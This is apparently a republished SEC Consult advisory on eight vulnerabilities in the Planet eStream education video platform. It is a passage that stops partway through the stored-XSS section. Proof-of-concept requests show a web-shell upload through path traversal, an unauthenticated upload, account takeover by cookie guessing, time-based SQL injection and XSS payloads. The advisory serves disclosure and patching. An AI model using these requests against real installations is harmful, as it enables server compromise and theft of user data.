{"id":34571,"date":"2022-12-09T19:08:11","date_gmt":"2022-12-09T16:08:11","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/170175\/SA-20221130-0.txt"},"modified":"2022-12-11T09:49:40","modified_gmt":"2022-12-11T06:19:40","slug":"planet-estream-code-execution-sql-injection-xss-broken-control","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/planet-estream-code-execution-sql-injection-xss-broken-control\/","title":{"rendered":"Planet eStream Code Execution \/ SQL Injection \/ XSS \/ Broken Control"},"content":{"rendered":"<p dir=\"ltr\" style=\"text-align: left;\">SEC Consult Vulnerability Lab Security Advisory &lt; 20221130-0 &gt;<br \/>\n=======================================================================<br \/>\ntitle: Multiple critical vulnerabilities<br \/>\nproduct: Planet Enterprises Ltd &#8211; Planet eStream<br \/>\nvulnerable version: &lt;6.72.10.07<br \/>\nfixed version: 6.72.10.07<br \/>\nCVE number: CVE-2022-45896, CVE-2022-45893, CVE-2022-45891,<br \/>\nCVE-2022-45889, CVE-2022-45892, CVE-2022-45890,<br \/>\nCVE-2022-45894, CVE-2022-45895<br \/>\nimpact: critical<br \/>\nhomepage: https:\/\/www.planetestream.co.uk<br \/>\nfound: 2022-09-01<br \/>\nby: Timon Vogel (Office Vienna)<br \/>\nPhilipp Espernberger (Office Linz)<br \/>\nHrvoje Filakovic (Office Osijek)<br \/>\nSEC Consult Vulnerability Lab<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An integrated part of SEC Consult, an Atos company<br \/>\nEurope | Asia | North America<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">https:\/\/www.sec-consult.com<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">=======================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Vendor description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>\n&#8220;Planet eStream is a powerfully simple and secure video platform,<br \/>\nmaking media more accessible and engaging for students and educators<br \/>\nacross secondary, further, and higher education&#8221;<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Source: https:\/\/www.planetestream.co.uk<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Business recommendation:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>\nThe vendor provides an update for the affected version which should<br \/>\nbe installed immediately.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">SEC Consult highly recommends to perform a thorough security review of the<br \/>\nPlanet eStream video streaming platform conducted by security<br \/>\nprofessionals to identify and resolve potential further security issues.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Vulnerability overview\/description:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) Upload of Arbitrary Files Leading to Remote Code Execution (CVE-2022-45896)<br \/>\nThe application allows users to upload files at multiple places. It was<br \/>\nidentified that it is possible to upload arbitrary malicious files without any<br \/>\nrestriction and also without prior authentication! An attacker can upload<br \/>\na webshell and takeover the system.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">2) Account Takeover (CVE-2022-45893)<br \/>\nA problem identified in the cookie and session management of the web application<br \/>\nallows users with low privileges to bypass the authentication and authorization<br \/>\nmechanisms. They can be bypassed by changing the value of the ON cookie. In this way,<br \/>\nusers with low privileges can gain access to application features that are only accessible<br \/>\nto administrative and privileged users.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">3) Broken Access Control (CVE-2022-45891)<br \/>\nDue to flaws in the authorization scheme, an authorization bypass vulnerability<br \/>\nallows an attacker to get access to restricted functions of the web application.<br \/>\nThis can be leveraged to upload files to the web server without authentication<br \/>\nand gain access to restricted content that was uploaded by other users.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">4) SQL Injection (CVE-2022-45889)<br \/>\nDue to insufficient input validation, the application allows the injection of<br \/>\ndirect SQL commands. By exploiting the vulnerability, an attacker gains access<br \/>\nto all records stored in the database and can execute arbitrary SQL commands.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">5) Multiple Stored Cross-Site Scripting (XSS) (CVE-2022-45892)<br \/>\nUser input is not properly sanitized or encoded in various places. This leads to<br \/>\nseveral stored cross-site scripting (XSS) vulnerabilities. By exploiting this<br \/>\nvulnerability, an attacker can persistently embed arbitrary HTML or JavaScript<br \/>\ncode into the affected web page. The code is executed in the context of the<br \/>\nvictim&#8217;s browser when visiting the manipulated site. Additionally, users are<br \/>\npotential victims of browser exploits and JavaScript trojans.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">6) Reflected Cross-Site Scripting (XSS) (CVE-2022-45890)<br \/>\nOne of the application scripts returns unfiltered or unescaped user input. This<br \/>\nleads to a reflected cross-site scripting (XSS) vulnerability. With reflected<br \/>\ncross-site scripting, an attacker can inject arbitrary HTML or JavaScript code<br \/>\ninto the victim&#8217;s web browser. Once the victim clicks a malicious link, the<br \/>\nattacker&#8217;s code is executed in the context of the victim&#8217;s web browser. The<br \/>\nvulnerability can be used to change the contents of the displayed site or<br \/>\nredirect to other malicious sites. Additionally, users are potential<br \/>\nvictims of browser exploits and JavaScript trojans.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">7) Path Traversal (CVE-2022-45894)<br \/>\nAttackers can gain access to files and directories outside the web root through<br \/>\nthe use of relative file paths. In this case an authenticated<br \/>\nattacker with any role can inject &#8220;..\\&#8221; sequences into a certain URL parameter<br \/>\nin order to navigate through the file system and access local files.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">8) Information Disclosure (CVE-2022-45895)<br \/>\nParts of the application were discovered that disclose sensitive data to<br \/>\napplication users. While securely disclosing necessary information to authorized<br \/>\nusers will normally not present a security threat, the identified components<br \/>\ndisclose sensitive data that belongs to other users.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Proof of concept:<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n1) Upload of Arbitrary Files Leading to Remote Code Execution (CVE-2022-45896)<br \/>\nVarious file upload vulnerabilities were identified in the web application. The<br \/>\nfollowing sections describe the vulnerabilities in detail.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The file upload is restricted to certain file types in some cases. This<br \/>\nrestriction is only enforced in the frontend and can be bypassed by<br \/>\nintercepting the request and modifying it. There is no further validation of<br \/>\nuploaded files in the backend. Therefore, it is sufficient to change the<br \/>\nfilename ending in the intercepted request.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">a) File Upload with Path Traversal<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An authenticated attacker with the permission to attach documents to already<br \/>\nexisting content (e.g. videos) can upload any file. In some cases, the role<br \/>\nMember is sufficient. Under &#8220;Categories -&gt; choose a video -&gt; related Media&#8221; a new<br \/>\nmalicious file can be uploaded.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The following POST request is sent to the server when a normal PNG file is uploaded:<br \/>\n===============================================================================<br \/>\nPOST \/Upload2.ashx?f=seclogo.png&amp;c=0&amp;l=53134&amp;t=1662103112126&amp;p=\\Temp&amp;ut=0&amp;tc=0&amp;bs=53134&amp;ct=1662103112126 HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\n<p dir=\"ltr\" style=\"text-align: left;\">\u2030PNG<br \/>\n[&#8230;]\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Based on the previous POST request to upload files, the request can be<br \/>\nmanipulated to upload any content to any directory by using path traversal<br \/>\ntechniques. The following code shows the modified request. The content is<br \/>\nchanged from a PNG image to an ASP web shell. The filename ending is changed to<br \/>\nasp and the path is inserted into the p parameter, which is vulnerable to path<br \/>\ntraversal.<br \/>\n===============================================================================<br \/>\nPOST \/Upload2.ashx?f=webshell.asp&amp;c=0&amp;l=1024&amp;t=1661943922096&amp;p=..\\$path\\&amp;ut=0&amp;tc=0&amp;bs=1024&amp;ct=1661943922097 HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\n<p dir=\"ltr\" style=\"text-align: left;\">$ASPWEBSHELL<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">As the following response shows, the file is being processed by the web server:<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nContent-Type: text\/plain; charset=utf-8<br \/>\nDate: Fri, 02 Sep 2022 07:16:11 GMT<br \/>\nContent-Length: 12<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">progress:100<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The web shell can now be accessed via the following URL:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/$path\/webshell.asp<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker now has the possibility to execute any command in context of the web<br \/>\nserver. Therefore, the web server is completely compromised.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">As described in chapter 3) Broken Access Control, section a) an unauthenticated<br \/>\nfile upload is possible if the attacker knows the correct request.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">b) General Upload<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An authenticated attacker with the permission to upload documents (role editor,<br \/>\npublisher or admin) can upload any file. Under &#8220;Create -&gt; Upload -&gt; Upload<br \/>\nDocument&#8221; a new malicious file can be uploaded.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">i) ASP Web Shell<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">After choosing the malicious file for the file upload the following POST request<br \/>\nis sent to the web server:<br \/>\n===============================================================================<br \/>\nPOST \/Upload2.ashx?f=cmdasp.asp&amp;c=0&amp;l=1024&amp;t=1661939611305&amp;p=PreConversionMedia\\&amp;ut=0&amp;tc=0&amp;bs=1024&amp;ct=1661939611305 HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\nContent-Length: 1024<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">$ASPWEBSHELL<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">As the following response shows, the file is being processed by the web server:<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nContent-Type: text\/plain; charset=utf-8<br \/>\nDate: Wed, 31 Aug 2022 09:53:31 GMT<br \/>\nContent-Length: 12<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">progress:100<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">To finish the upload of the malicious file, an attacker simply needs to click<br \/>\nthe &#8220;Start Upload&#8221; button that becomes visible in the web interface.<br \/>\nAfter starting the upload, the following POST request is sent to the web server.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">===============================================================================<br \/>\nPOST \/Ajax.asmx\/ProcessUpload2 HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\nContent-Type: application\/json; charset=utf-8<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nContent-Length: 538<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;fn&#8221;:&#8221;webshell.asp&#8221;,&#8221;ppid&#8221;:1,&#8221;isprivate&#8221;:1,&#8221;showera&#8221;:0,&#8221;catsinc&#8221;:&#8221;&#8221;,&#8221;catsexc&#8221;:&#8221;&#8221;,&#8221;retainsource&#8221;<br \/>\n:0,&#8221;copyonly&#8221;:0,&#8221;mediaprofile&#8221;:&#8221;0&#8243;,&#8221;fieldvalues&#8221;:&#8221;[{\\&#8221;FieldID\\&#8221;:1,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;FieldValu<br \/>\ne\\&#8221;:\\&#8221;webshell\\&#8221;},{\\&#8221;FieldID\\&#8221;:2,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;\\&#8221;},{\\&#8221;FieldID\\&#8221;:7,\\&#8221;Type\\&#8221;:\\<br \/>\n&#8220;ddl\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;4\\&#8221;},{\\&#8221;FieldID\\&#8221;:10,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;\\&#8221;},{\\&#8221;FieldID\\<br \/>\n&#8220;:14,\\&#8221;Type\\&#8221;:\\&#8221;ddl\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;-1\\&#8221;},{\\&#8221;FieldID\\&#8221;:16,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\<br \/>\n&#8220;\\&#8221;}]&#8221;,&#8221;mobiledevice&#8221;:false,&#8221;rt&#8221;:10,&#8221;filenameastitle&#8221;:0,&#8221;expiry&#8221;:&#8221;&#8221;}<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The response of the web server discloses the new generated filename<br \/>\n8273~4u~vE7bUON0 as shown below.<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nContent-Type: application\/json; charset=utf-8<br \/>\nDate: Wed, 31 Aug 2022 09:53:31 GMT<br \/>\nContent-Length: 541<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;d&#8221;:&#8221;{\\&#8221;Success\\&#8221;:true,\\&#8221;ClipDataID\\&#8221;:8273,\\&#8221;Position\\&#8221;:null,\\&#8221;TotalJobs\\&#8221;:0,\\&#8221;Message\\&#8221;:\\&#8221;Element<br \/>\nbereit\\&#8221;,\\&#8221;CopyOnlyFail\\&#8221;:false,\\&#8221;ViewURL\\&#8221;:\\&#8221;https:\/\/$host\/View.aspx?id=8273~4u~vE7bUON0\\&#8221;,<br \/>\n[&#8230;]\n}<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">After the filename is known the web shell can now be accessed via following URL:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/content\/8273_4u~vE7bUON0.asp<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker now has the possibility to execute any command in context of the web<br \/>\nserver. Therefore, the web server is completely compromised.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">ii) Malicious HTML File<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">After choosing the malicious file, the following POST request is sent to the web<br \/>\nserver:<br \/>\n===============================================================================<br \/>\nPOST \/Upload2.ashx?f=secconsult.html&amp;c=0&amp;l=102&amp;t=1661947994372&amp;p=PreConversionMedia\\&amp;ut=0&amp;tc=0<br \/>\n&amp;bs=102&amp;ct=1661947994373 HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\nContent-Length: 1024<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">&lt;!DOCTYPE html&gt;<br \/>\n&lt;html&gt;<br \/>\n&lt;body&gt;<br \/>\n&lt;h1&gt;SEC Consult Webpage&lt;\/h1&gt;<br \/>\n&lt;p&gt;hosted by $host&lt;\/p&gt;<br \/>\n&lt;\/body&gt;<br \/>\n&lt;\/html&gt;<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">As the following response shows, the file is being processed by the web server:<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nContent-Type: text\/plain; charset=utf-8<br \/>\nDate: Wed, 31 Aug 2022 12:13:13 GMT<br \/>\nContent-Length: 12<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">progress:100<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">To finish the upload of the malicious file, an attacker simply needs to click<br \/>\nthe &#8220;Start Upload&#8221; button which pops up in the web interface.<br \/>\nAfter starting the upload, the following POST request is sent to the web server:<br \/>\n===============================================================================<br \/>\nPOST \/Ajax.asmx\/ProcessUpload2 HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\nContent-Type: application\/json; charset=utf-8<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nContent-Length: 539<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;fn&#8221;:&#8221;secconsult.html&#8221;,&#8221;ppid&#8221;:1,&#8221;isprivate&#8221;:1,&#8221;showera&#8221;:0,&#8221;catsinc&#8221;:&#8221;&#8221;,&#8221;catsexc&#8221;:&#8221;&#8221;,&#8221;retainsou<br \/>\nrce&#8221;:0,&#8221;copyonly&#8221;:0,&#8221;mediaprofile&#8221;:&#8221;0&#8243;,&#8221;fieldvalues&#8221;:&#8221;[{\\&#8221;FieldID\\&#8221;:1,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;Field<br \/>\nValue\\&#8221;:\\&#8221;secconsult\\&#8221;},{\\&#8221;FieldID\\&#8221;:2,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;\\&#8221;},{\\&#8221;FieldID\\&#8221;:7,\\&#8221;T<br \/>\nype\\&#8221;:\\&#8221;ddl\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;4\\&#8221;},{\\&#8221;FieldID\\&#8221;:10,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;\\&#8221;},{\\&#8221;F<br \/>\nieldID\\&#8221;:14,\\&#8221;Type\\&#8221;:\\&#8221;ddl\\&#8221;,\\&#8221;FieldValue\\&#8221;:\\&#8221;-1\\&#8221;},{\\&#8221;FieldID\\&#8221;:16,\\&#8221;Type\\&#8221;:\\&#8221;txt\\&#8221;,\\&#8221;FieldValue<br \/>\n\\&#8221;:\\&#8221;\\&#8221;}]&#8221;,&#8221;mobiledevice&#8221;:false,&#8221;rt&#8221;:10,&#8221;filenameastitle&#8221;:0,&#8221;expiry&#8221;:&#8221;&#8221;}<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The response of the web server discloses the new generated filename<br \/>\n8278~4z~b2w2tWQF as shown below.<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nContent-Type: application\/json; charset=utf-8<br \/>\nDate: Wed, 31 Aug 2022 12:13:14 GMT<br \/>\nContent-Length: 545<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;d&#8221;:&#8221;{\\&#8221;Success\\&#8221;:true,\\&#8221;ClipDataID\\&#8221;:8278,\\&#8221;Position\\&#8221;:null,\\&#8221;TotalJobs\\&#8221;:0,\\&#8221;Message\\&#8221;:\\&#8221;Element<br \/>\nbereit\\&#8221;,\\&#8221;CopyOnlyFail\\&#8221;:false,\\&#8221;ViewURL\\&#8221;:\\&#8221;https:\/\/$host\/View.aspx?id=8278~4z~b2w2tWQF\\&#8221;,<br \/>\n[&#8230;]\n}<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The HTML webpage can now be accessed via following URL:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/content\/8278_4z~b2w2tWQF.html<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker now has the possibility to infect the user&#8217;s browser with JavaScript<br \/>\nto execute any command in the context of the web server or can host webpages for<br \/>\nphishing attacks on the server of the Planet eStream instance.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">2) Account Takeover (CVE-2022-45893)<br \/>\nAn authenticated attacker with the role Member or Bypass can elevate their<br \/>\nprivileges by changing the ON cookie value. An attacker can easily brute force<br \/>\nthe value of the cookie due to the low entropy of the cookie or search for<br \/>\nleaked cookie values in the web application as described in chapter<br \/>\n8) Information Disclosure, section a).<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Based on the format of the cookie the following pattern was used to generate<br \/>\npossibly valid cookies.<br \/>\n===============================================================================<br \/>\n[0-1][AZ]~[azAZ][azAZ]\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">To verify the vulnerability an authenticated session is required. Sessions that<br \/>\nare created by opening a sharing link to bypass authentication are sufficient.<br \/>\nTherefore, an attacker doesn\u2019t necessarily need a valid user account with valid<br \/>\ncredentials to gain privileged access.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">To abuse the vulnerability, an attacker can use the browser developer tool to<br \/>\npermanently change the value of the ON cookie. By changing the value of the<br \/>\nON cookie for example to $VALID_COOKIE, the current privileges are set to the<br \/>\nprivileges of the original user who has the ON cookie $VALID_COOKIE.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker can gain administrative privileges and access other accounts by<br \/>\nobtaining valid ON cookies for the respective accounts through brute force or<br \/>\ninformation disclosure.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">One essential aspect is that the ON cookie is persistent and never changes, not<br \/>\neven between sessions. Therefore, an attacker has permanent access to elevated<br \/>\nprivileges or other user accounts once a valid ON cookie is identified.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">3) Broken Access Control (CVE-2022-45891)<br \/>\na) Unauthenticated Upload<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">As described in chapter 1) Upload of Arbitrary Files Leading to Remote Code<br \/>\nExecution an attacker has the possibility to upload arbitrary files. Once<br \/>\nattackers know the correct POST request to upload files, they can repeat the<br \/>\nsame request without prior authentication and successfully upload arbitrary<br \/>\nfiles. To verify the vulnerability the following request can be sent<br \/>\nunauthenticated (without cookies) to the web server.<br \/>\n===============================================================================<br \/>\nPOST \/Upload2.ashx?f=unauthenticated.txt&amp;c=0&amp;l=30&amp;t=1662047867388&amp;p=..\\..\\&amp;ut=0&amp;tc=0&amp;bs=30&amp;ct=1662047867388 HTTP\/2<br \/>\nHost: $host<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">SEC Consult &#8211; upload<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">As the following response shows, the file is being processed by the web server:<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nDate: Mo, 19 Sep 2022 08:10:44 GMT<br \/>\nContent-Length: 12<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">progress:100<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The unauthenticated file upload was verified by identifying the file<br \/>\nunauthenticated.txt on the server.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">In conclusion, this vulnerability exacerbates the risk of the file upload<br \/>\nvulnerability. It increases the likelihood of exploitation since it enables an<br \/>\nattacker to upload files without authentication.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">b) Access Grant List<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker needs to be authenticated with the role Member or Bypass to exploit<br \/>\nthe vulnerability. The vulnerability allows an attacker to modify the access<br \/>\nlist and grant himself access to private videos. Additionally, an attacker can<br \/>\nmake any video unavailable to other users by changing the access grant list.<br \/>\nThe vulnerability also applies to other content on the platform.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">To verify the vulnerability a video with restricted access is created. It can<br \/>\nbe accessed under the following URL:<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/View.aspx?id=1337~4u~vE7bUKN5<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">By executing the POST request shown below, an attacker can add himself to the<br \/>\naccess grant list and gain access to the private video.<br \/>\n===============================================================================<br \/>\nPOST \/Ajax.asmx\/SaveGrantAccessList HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\nContent-Type: application\/json; charset=utf-8<br \/>\nContent-Length: 65<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;cdid&#8221;:&#8221;1337&#8243;,&#8221;data&#8221;:&#8221;[{\\&#8221;Address\\&#8221;:\\&#8221;test@attacker.com\\&#8221;,\\&#8221;CanEdit\\&#8221;:true}]&#8221;}<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The server responds with a status code 200 successful.<br \/>\n===============================================================================<br \/>\nHTTP\/2 200 OK<br \/>\nContent-Type: application\/json; charset=utf-8<br \/>\nDate: Thu, 01 Sep 2022 10:20:58 GMT<br \/>\n[&#8230;]\nContent-Length: 75<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">{&#8220;d&#8221;:&#8221;{\\&#8221;Success\\&#8221;:true,\\&#8221;Message\\&#8221;:\\&#8221;Access list updated successfully\\&#8221;}&#8221;}<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The user with the e-mail address test@attacker.com has been added to the<br \/>\naccess grant list and can view the private video with the ID 1337.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The vulnerability can also be leveraged to block access to the video for other<br \/>\nusers (Denial-of-Service) by adding any malicious content &#8220;malicious_payload&#8221;<br \/>\ninstead of the valid e-mail address.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">4) SQL Injection (CVE-2022-45889)<br \/>\nTo demonstrate this vulnerability access to the search functionality in the<br \/>\nstatistic interface is required. An authenticated attacker with the role<br \/>\nPublisher or Admin can use the following GET request to reproduce the<br \/>\nvulnerability.<br \/>\n===============================================================================<br \/>\nGET \/Stats\/StatisticsResults.aspx?q=viewingday&amp;p1=20220831&amp;p2=&amp;db1=stats&amp;db2=clipdata&amp;flt=+s_RecordTypeID+IN+(1)+;WAITFOR+DELAY+&#8217;0:0:5&#8242;&#8211; HTTP\/2<br \/>\nHost: $host<br \/>\nCookie: [&#8230;]\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">The resulting response took more than five seconds. Thus it can be<br \/>\nconcluded that an SQL injection is present.<br \/>\nFurthermore, exploitation by the tool sqlmap was possible and lead to a<br \/>\nsuccessful extraction of the complete backend database.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">5) Multiple Stored Cross-Site Scripting (XSS) (CVE-2022-45892)<br \/>\na) Disclaimer<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker needs to be authenticated with the role Admin to exploit the stored<br \/>\nXSS vulnerability. The vulnerability will be executed afterwards for each user<br \/>\nwho logs into the web application. To verify the issue, an attacker needs to<br \/>\nmodify the disclaimer of the cookie description. In the admin section the<br \/>\nsystem options can be modified to change the disclaimer text.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">===============================================================================<br \/>\nhttps:\/\/$host\/Admin\/SystemOptions.aspx?disclaimer=1<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">By clicking the Source button, an admin user can inject a malicious payload.<br \/>\n===============================================================================<br \/>\n&lt;img src=x onerror=javascript:alert(location.origin)\/\/&#8221;&gt;<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">After saving the modified disclaimer text, the payload is executed by visiting<br \/>\ndifferent parts of the application. If a user visits the MyHome tab the payload<br \/>\nis triggered in the browser. The payload is also executed if a user hasn&#8217;t<br \/>\naccepted the disclaimer text yet, which is true for any new user.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">b) Search Function<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker needs to be authenticated with the role Member to exploit the stored<br \/>\nXSS vulnerability. The vulnerability will be executed afterwards for each user,<br \/>\nwho inspects the statistic view provided by the web application. To verify the<br \/>\nissue, an attacker can search for following malicious payload that is then<br \/>\nautomatically stored in the database.<br \/>\n===============================================================================<br \/>\n&lt;img onerror=&#8221;javascript:alert(location.origin)&#8221; src=&#8221;abcdef&#8221;;\/\/&lt;<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Afterwards, the malicious payload is triggered if a user lists the statistical<br \/>\ndata for the Search Breakdown in the last seven days.<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">c) Comments<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker needs to be authenticated with the role Member to exploit the stored<br \/>\nXSS vulnerability. The vulnerability will be executed afterwards for each user,<br \/>\nwho visits the content element that contains the malicious comment. To verify<br \/>\nthe issue, the following malicious payload can be injected into the public or<br \/>\nprivate comment field.<br \/>\n===============================================================================<br \/>\n&lt;img onerror=&#8221;javascript:alert(location.origin)&#8221; src=&#8221;abcdef&#8221;;\/\/<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">d) Batch editing tool<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">An attacker needs to be authenticated with the role Admin to exploit the stored<br \/>\nXSS vulnerability. The vulnerability will be executed afterwards for each user,<br \/>\nwho visits the modified content. To verify the issue, an attacker needs to<br \/>\nmodify the owner of the content. In the search section the admin has the<br \/>\npossibility to use the Batch-Editing tool.<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/Default.aspx?search=consult&#038;o=8&#038;page=1&#038;fp=0&#038;report=1&#038;rlt=0<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">By selecting the action Change owner, an admin user can inject a malicious<br \/>\npayload in the user input box.<br \/>\n===============================================================================<br \/>\n&lt;img src=x onerror=javascript:alert(location.origin)\/\/&#8221;&gt;<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">After injecting the malicious payload, the XSS payload is executed when the<br \/>\ncontent element is visited or when it appears in search results.<br \/>\n===============================================================================<br \/>\nhttps:\/\/$host\/Default.aspx?search=8298<br \/>\nhttps:\/\/$host\/View.aspx?id=8298~4B~dpa3P9mb&#038;psid=136<br \/>\n===============================================================================<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">e) Content Creation<\/p>\n<p dir=\"ltr\" style=\"text-align: left;\">Permission to create content within the web application is required. Thus, an<br \/>\nattacker needs to be authenticated with the role Editor, 